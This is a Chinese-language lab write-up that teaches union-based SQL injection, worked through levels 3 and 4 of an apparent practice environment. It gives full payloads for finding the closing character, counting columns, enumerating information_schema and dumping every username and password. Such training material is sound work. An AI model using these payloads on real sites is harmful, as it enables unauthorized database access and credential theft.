SQL注入基本流程
1.判断是否为动态网站
判断是否为动态网站根本依据是网站是否与后端数据库相连,过程很简单只需要在网站里输入不同的ID,如果会出现不同的数据就证明这是一个动态网站。输入ID的地方通常有两个,一个是网站里的输入框,一个是浏览器网站的输入框。
在网站里的输入框可直接输入字符;
在浏览器网站输入框输入字符时,需要注意两点:在地址后面输入,在输入ID前要加上?ID=之后再输入字符。
2.输入\(这里可以随便输入符号,只是\与其他字符容易分清)得到开发程序员用什么字符闭合ID
在第一步输入的ID后面加\,会得到回显,回显中会显示开发程序员用什么字符闭合ID的,如图所示就是’)
3.输入布尔表达式判断是否存在SQL注入
根据第二步得到开发程序员用的闭合ID字符,在输入框输入1’) and 1=1。如果得到输出结果,证明用户可通过输入SQL语句得到数据,所以存在SQL注入
4.利用order by得到列数,利用union select得到输出点
输入1’) order by 3 – -,会得到回显列数证明大于等于3列
输入1’) order by 4 – -,显示4是未知列,所以总共只有3列
知道有3列后就通过-1’) union select 1,2,3 – -找到输出点,如图所示输出点为:2和3
5.使用union select得到基本信息,然后爆数据库、爆数据表、爆列(字段)、爆数据
在进行第五步之前需要复习一下一丢丢数据库的知识
version():用来查询数据库版本
查询版本号的原因是判断版本号是否在5.0以上,数据库版本在5.0以上则会含有information_schema库
在information_schema库中有两个重要的表(COLUMNS、TABLES)
1.1)COLUMNS表中含有三个重要的列TABLE_SCHEMA、TABLE_NAME、COLUMN_NAME
1.2)TABLE_SCHEMA列包含所有的数据库名
1.3)TABLE_NAME列包含所有的数据表名
1.4)COLUMN_NAME列包含所有的列名
2.1)TABLES表中包含数据库和表的对应关系,含有两个重要的列(TABLE_SCHEMA、TABLE_NAME)
2.2)TABLE_SCHEMA列包含所有数据库名
2.3)TABLE_NAME列包含所有数据表名
database():用来查询数据库名
group_concat():显示所有查询到的数据
使用-1’) union select 1,version(),database() – -得到数据库版本和数据库名,得到版本号在5.0以上就可以使用information_schema库以及里面的表和列
我们通过上一步知道了mysql的版本号以及与网站相连的数据库名,然后我们就可以使用information_schema库里的tables表中的table_schema和table_name这两列的对应关系得到与网站相连的数据库里的表,简而言之就是已知数据库名,然后通过tables表中数据库名和数据表名的对应关系,得到已知数据库里的表名。
用-1’) union select 1,group_concat(table_name),3 from information_schema.tables where tables.table_schema=‘security’ – -,在2输出点那里就会输出security数据库里面的所有表名:emails,referers,uagents,users
得到表名之后,我们就可以通过表名得到里面的列名,这个需要用到information_schema库里的columns表中的三个列,table_schema(数据库名)、table_name(数据表名)、column_name(列名),现如今我们已知数据库名和数据表名那么我们就能查到列名。选择一个自己想知道表里内容的表,我选的是users这个表。
使用-1’) union select 1,group_concat(column_name),3 from information_schema.columns where columns.table_schema=‘security’ and columns.table_name=‘users’ – -
结果也是在2输出点输出,security库里users表里有id,username,password三个列
得到列名之后,就可以查询数据了,通过上一步我们知道在users表中有id,username,password三个列,我们便可以查询username,password。
使用-1’) union select 1,group_concat(username),group_concat(password) from users – -
会得到users表中的username和password,也就是网站所有的用户名和密码
得到所有的用户名和密码至此SQL注入结束,当然还可以利用information_schema库里的tables、columns表查询到其他库里的数据。
less 3的打靶过程
在前面的SQL注入的基本流程中用的就是less 3演示的,所以关于less 3的打靶过程我们一带而过
1.判断是否为动态网站
输入ID不同,数据不同,则为一个动态网站,第一幅图是ID=1的结果,第二幅图是ID=2的结果。
2.得到闭合字符
输入\会得到回显,在回显中\后面的符号就是闭合符号('))
3.判断是否存在SQL注入
在输入框输入1’) and 1=1。如果得到输出结果,证明用户可通过SQL语句得到数据,所以存在SQL注入
4.判断输出列数,得到输出点
第三列显示回显,第四列显示未知列,所以输出三列
确定列数之后,便可以通过union select得到输出点
5.得到基本信息,爆库、爆表、爆列、爆数据
使用union select得到基本信息,版本号和数据库名
爆库,得到表名
爆表,得到列名
爆列,得到数据
至此,less 3的打靶过程结束。
less 4的打靶过程
1.判断是否是动态网站
根据ID不同得到不同的回显内容,由此判断这是一个动态网站。
2.输入\得到闭合符号
输入\后,得到回显之后\之后就是闭合符号,在less 4中的闭合符号是")
3.输入布尔表达式判断是否存在SQL注入
输入一个布尔表达式,得到了回显,证明用户可通过输入SQL语句得到数据,所以存在SQL注入
4.判断输出列数和输出点
使用1") order by 3 – -得到了回显,证明不止有三列,使用1") order by 4 – -显示4列是未知列,所以总共是3列
使用-1") union select 1,2,3 – -,得到输出点,如图所示,2和3是输出点
5.得到基本信息,爆库,爆表,爆列,爆数据
使用-1") union select 1,version(),database() – -,得到数据库版本和数据库名,数据版本在5.0以上则可以使用information_schema库以及该库里的表和列
通过information_schema库里的tables表得到security库里面的表
使用-1") union select 1,group_concat(table_name),3 from information_schema.tables where tables.table_schema=‘security’ – -
通过information_schema库里的columns表得到users表中的列
使用-1") union select 1,group_concat(column_name),3 from information_schema.columns where columns.table_schema=‘security’ and columns.table_name=‘users’ – -
通过上一步得到的列,然后得到想要的数据
使用-1") union select 1,group_concat(username),group_concat(password) from users – -
至此,less 4 打靶过程也结束了
总结
less 3和less 4的打靶过程就只有闭合符号不同,其余的命令都一模一样。但目的为了熟悉SQL注入的流程,所以我们再次总结一下SQL注入流程
1.是否为动态网站
2.得到闭合符号
3.判断是否存在SQL注入
4.判断输出列和输出点
5.得到基本信息,爆库,爆表,爆列,爆数据